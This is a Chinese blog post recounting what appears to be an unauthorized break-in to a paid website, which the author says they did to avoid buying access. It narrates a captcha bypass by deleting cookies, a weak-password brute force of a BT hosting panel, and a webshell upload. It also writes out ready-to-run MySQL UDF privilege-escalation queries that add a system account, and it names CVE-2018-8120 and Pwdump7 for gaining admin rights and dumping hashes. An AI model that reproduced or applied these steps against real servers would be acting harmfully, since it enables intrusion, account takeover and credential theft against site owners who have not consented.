朋友分享一个站点,点开需要购买点卡,本着节约的原则,简单做了一个测试,于是便有了下文

爆破宝塔系统,页面提示三次错误将出现验证码,那么如何记录错误次数,猜测是通过cookie,删除cookie

img

弱口令爆破成功,进入宝塔后台

img

从宝塔后台获取phpmyadmin,root权限

img

同样可以看到文件系统,但只能看到网站目录,宝塔系统提示,从宝塔建站,默认user权限

img

上传shell,同样是只能看到当前网站目录

img

考虑通过phpmyadmin提权,发现系统禁止root外连,虽然没有必要,但还是尝试开启外连,用navicat连接数据库接管,用户中找到root用户,编辑权限,开启任意主机链接

img

采用udf提权,提权的话需要写入导出权限,但是由于权限设置不能导入导出

因为mysql对通过文件导入导出作了限制,默认不允许。默认value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件

img

通常操作为以下步骤,但是没有写权限,有了上传权限更方便操作,直接跳过udf导出步骤:

Udf需要导出到\lib\plugin目录,一般该目录不存在\lib\plugin目录。

可以尝试利用NTFS ADS创建 plugin目录

查询 select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';

导出UDF.DLL

随便选一个库

查询 CREATE TABLE Temp_udf(udf BLOB);

查询 INSERT into Temp_udf values (CONVERT($shellcode,CHAR)); 

查询 SELECT udf FROM Temp_udf INTO DUMPFILE 'C:\\MySQL\\lib\\plugin\\udf.dll';--

查询 Create function cmdshell returns string soname 'udf.dll'; 

查询 select * from mysql.func;

查询 select cmdshell('net user test test /add');     

手动创建plugin目录,上传udf.dll文件,执行以上sql代码,创建账号,拿下服务器

img

利用Cve-2018-8120创建账号完成添加管理员

img

导出hash,利用Pwdump7

img

这个过程遇到一个问题就是,菜刀下模拟终端无法使用,目录只能看到网站目录,导致一段时间内以为是权限问题,而磁盘下的目录又只是一个网站目录,加深这种认识,拿下服务器的时候才发现是想多了,只有那一个目录。。。





# 渗透测试  

tocToc: